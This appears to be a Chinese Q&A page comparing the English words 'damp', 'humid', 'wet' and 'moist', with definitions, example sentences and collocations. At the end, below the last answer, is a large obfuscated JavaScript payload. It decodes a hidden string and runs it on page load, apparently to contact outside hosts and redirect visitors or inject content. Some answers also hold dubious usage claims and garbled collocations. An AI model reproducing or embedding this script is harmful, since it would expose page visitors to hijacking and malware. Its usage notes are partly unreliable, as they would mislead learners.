damp,humid,wet,moist有什么区别?各举几个搭配,谢谢

2025-03-11 06:37:26
推荐回答(4个)
回答1:

一、词义:

damp: [ dæmp ]  

n. 湿气

a. 潮湿的

vt. 使潮湿,使阻尼,抑制

vi. 衰

humid: [ 'hju:mid ]  

a. 潮湿的

wet: [ wet ]  

a. 湿的

n. 潮气,雨

v. (使)弄湿

vt. 弄湿

moist: [ mɔist ]  

a. 潮湿的,湿润的;多汁的;有分泌物的, 湿性的

n.潮湿

二、词形变化: 

形容词:dampish; 副词:damply;形容词比较级:damper ;最高级:dampest

名词:dampness; 动词过去式:damped; 过去分词:damped ;现在分词:damping ;第三人

单数:damps 

副词:humidly 

形容词比较级:wetter ;最高级:wettest ;动词过去式:wet/wetted ;过去分词:wet/wetted ;

现在分词:wetting; 第三人称单数:wets  

副词:moistly; 形容词比较级:moister; 最高级:moistest ;名词:moistness

三、例句:

The building was cold and damp.  

这房子又冷又湿。 

These damp matches won't strike.  

这些潮湿的火柴划不著. 

The damp wood began to warp.  

这块潮湿的木材有些翘棱了. 

Damp wood doesn't burn well.  

潮湿的木头不好烧。

Foods are easily to be mouldy in humid days.  

潮湿的日子里,食物很容易发霉。 

The humid climate didn't agree with him.  

那潮湿的气候对他不合适。

A humid wind blew from the south.  

湿润的风从南方吹来。 

It was powerful humid.  

天气非常潮湿。

I went out in the rain and got wet through.  

我冒雨出去,结果被淋得湿透了。 

Come and walk on the dry road instead of going through the wet.  

来吧,捡干的路走,别走湿地。 

Don't walk on the wet cement.  

水泥未乾时不要在上面行走。 

My overcoat is wet through.  

我的大衣完全湿透了。

The moist season has set in.  

雨季已来临。 

The clothes are still moist. Dry them in the sun.  

这些衣服还是湿地,把他们在太阳下晾干。 

He bastes juices to keep it moist during cooking. 

他倒了些汁液以防烤干。

Lean meat can be larded to keep it moist in the oven.  

瘦肉上可加咸肉片烤制以保持水分。

扩展资料:

一、词汇搭配:

~+名词 

damp cloth湿布 ;damp climate潮湿的气候 ;damp grass湿草地

damp walls潮湿的墙壁

~+介词 

damp from the rain被雨水打湿 ;damp in rainy weather雨季是潮湿的

用作动词 (v.) 

~+副词

damp chillingly刺骨地潮湿 ;damp coldly寒冷地潮湿 ;damp depressingly消沉地压抑



damp inescapably逃避不了地压抑 ;damp mysteriously秘密地压抑 ;damp piercingly刺穿地潮湿



damp slightly静静地压抑 ;damp stuffily闷热地潮湿 ;damp down封(火),降低(火势),使失去精力或劲头,遏制



damp down a fire把火封上 ;damp down a furnace把炉子封上 ;damp down inflation遏制通货膨胀的势头 

damp down sb's spirits破坏某人的兴致,使某人沮丧 ;damp off(苗、芽等)因多水而腐烂 

humid heat湿比热 ;humid soil湿润土 ;humid index湿润指数

humid asthma[医] 湿性气喘;humid room保湿室 ;humid area潮湿地区

humid gas湿气 ;humid zone有湿气地带,湿润带... ;humid rock湿成岩

humid region湿润地带 ;humid cabinet增湿室,回潮间... ;humid pleurisy渗出性胸膜炎... 

副词+~

all wet全湿了

~+副词

wet all over湿透了 ;wet through湿透了

动词+~ 

get wet弄湿了 ;get wet through湿透了 

~+介词

wet from因…而湿的 ;wet with被…弄湿的

用作名词 (n.) 

动词+~ 

go through the wet在湿地走 ;wring the wet out把水拧出来 


~+名词

moist season雨季

~+介词

moist with dew被露水弄潮湿的

二、词语用法:

adj. (形容词)

damp的基本意思是“潮湿的”,主要用于修饰有形物,含有不像应该的那么干燥或比人们所喜欢的

更湿的意味。不指科技术语中的绝对意义的“湿度大”。

damp在句中可用作定语、表语或宾语补足语。


damp的比较级为damper,最高级为dampest。

v. (动词)


damp的基本意思是“(使)潮湿”,可指稍微地潮湿,也可指适度地潮湿,还可指令人不快地潮湿,可用

作不及物动词或及物动词,用作及物动词时,可接名词或代词作宾语。可用于被动结构。

damp引申可表示“抑制,使沮丧”,后接副词down,表示“封(火),降低(火势); 使失去精力或劲头; 

遏制”等意思,接副词off,表示“(苗、芽等)因多水而腐烂”。 

wet的基本意思是“湿的,潮的”,指某物体表面有液体或处于液体状态。

wet也可作“下雨的,多雨的”解。


在口语中, wet还可作“没有干劲的,怯懦的”解,多用于英式英语中。

wet的比较级是wetter,最高级是wettest。


wet在句中可用作定语或表语。

查看更多

n. (名词)

wet用作名词的意思是“雨天,湿地”,通常用作单数形式,其前须加定冠词the。

wet也可作“迟钝或软弱的人”“稳健而不激进的政治家”解,是可数名词。

v. (动词)


wet的意思是“使某物湿”“弄湿某物”。

wet是及物动词,接名词或代词作宾语。当表示“尿床”时,不能用于被动结构。 

adj. (形容词)

moist用作形容词的意思是“潮湿的,微湿的”,强调某事物不十分干,其湿度很小,且含有这湿度

给人愉快感的意思,引申表示“松软的”。

回答2:

区别:

1、表达“湿润”的程度不同。

1)moist专指下雨时微湿的状态;

2)wet指被液体弄湿,液体不专指水;

3)damp指一片区域长期保持微湿的状态;

4)humid强调潮湿的程度比较高,特指非常湿的状态;

2、某些词仅表示“湿”这一物理状态,某些词可以形容心情。

damp还可以表示“气氛压抑”,“心情低迷”。

moist形容下毛毛雨的氛围,比较欢快。

搭配用法:

damp:Adj.+n. :damp shoe(潮湿的鞋子);

humid:Adj.+n. :humid climate(潮湿的天气);

wet:adj.+n. :wet towel(湿毛巾);v.+n. :wet bed(把床弄湿了);

moist:Adj.+n. :moist air(湿气);

单词含义:

damp:n.潮湿;湿气;潮气;湿块;adj.潮湿的;微湿的;湿气重的;

humid:温暖潮湿的;湿热的;web.湿润的;湿气重的;指气候比较潮湿

wet:n. 雨;液体;雨天;(尤指)水;adj.潮的;湿的;潮湿的;有雨的;v.使潮湿;把…弄湿;web.多雨的;下雨的

moist:adj, 微湿的;湿润的;web.潮湿的;多雨的;润泽

扩展资料:

同义词:adj. damp,soaked,rainy,showery,drizzly

反义词:arid,dry

1. 湿透地;浸湿;浸透的

例句:Jing Fang grassland wildflowers after rain, like a flower just a water-soaked turbans, and even dew are all children of a colorful!

雨后的草原野花竞放,像一块刚浸过水的花头巾,连露珠儿都是五颜六色的了!

2、drizzly:adj. 下着蒙蒙细雨的;毛毛雨似的

例句:That day it was raining . Not a stormy rain or drizzly rain , but a soft gentle summer rain . the kind that came every summer.

那是一个雨天,但并不会是毛毛雨,而是那种温柔的夏雨。

回答3:

damp: [ dæmp ]

n. 湿气
a. 潮湿的
vt. 使潮湿,使阻尼,抑制
vi. 衰减

词形变化:
形容词:dampish 副词:damply 形容词比较级:damper 最高级:dampest 名词:dampness 动词过去式:damped 过去分词:damped 现在分词:damping 第三人称单数:damps

例句与用法:
1. The building was cold and damp.
这房子又冷又湿。

2. These damp matches won't strike.
这些潮湿的火柴划不著.

3. The damp wood began to warp.
这块潮湿的木材有些翘棱了.

4. Damp wood doesn't burn well.
潮湿的木头不好烧.

humid: [ 'hju:mid ]

a. 潮湿的

词形变化:
副词:humidly

例句与用法:
1. Foods are easily to be mouldy in humid days.
潮湿的日子里,食物很容易发霉。

2. The humid climate didn't agree with him.
那潮湿的气候对他不合适.

3. A humid wind blew from the south.
湿润的风从南方吹来。

4. It was powerful humid.
天气非常潮湿

wet: [ wet ]

a. 湿的
n. 潮气,雨
v. (使)弄湿
vt. 弄湿

词形变化:
形容词比较级:wetter 最高级:wettest 动词过去式:wet/wetted 过去分词:wet/wetted 现在分词:wetting 第三人称单数:wets

例句与用法:
1. I went out in the rain and got wet through.
我冒雨出去,结果被淋得湿透了。

2. Come and walk on the dry road instead of going through the wet.
来吧,捡干的路走,别走湿地。

3. Don't walk on the wet cement.
水泥未乾时不要在上面行走。

4. My overcoat is wet through.
我的大衣完全湿透了。

moist: [ mɔist ]

a. 潮湿的,湿润的
(果物)多汁的
【医】有分泌物的, 湿性的
n.潮湿

词形变化:
副词:moistly 形容词比较级:moister 最高级:moistest 名词:moistness

例句与用法:
1. The moist season has set in.
雨季已来临。

2. The clothes are still moist. Dry them in the sun.
这些衣服还是湿的,把他们在太阳下晾干。

3. He bastes juices to keep it moist during cooking.
他倒了些汁液以防烤干。

4. Lean meat can be larded to keep it moist in the oven.
瘦肉上可加咸肉片烤制以保持水分。

回答4:

区别不大

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();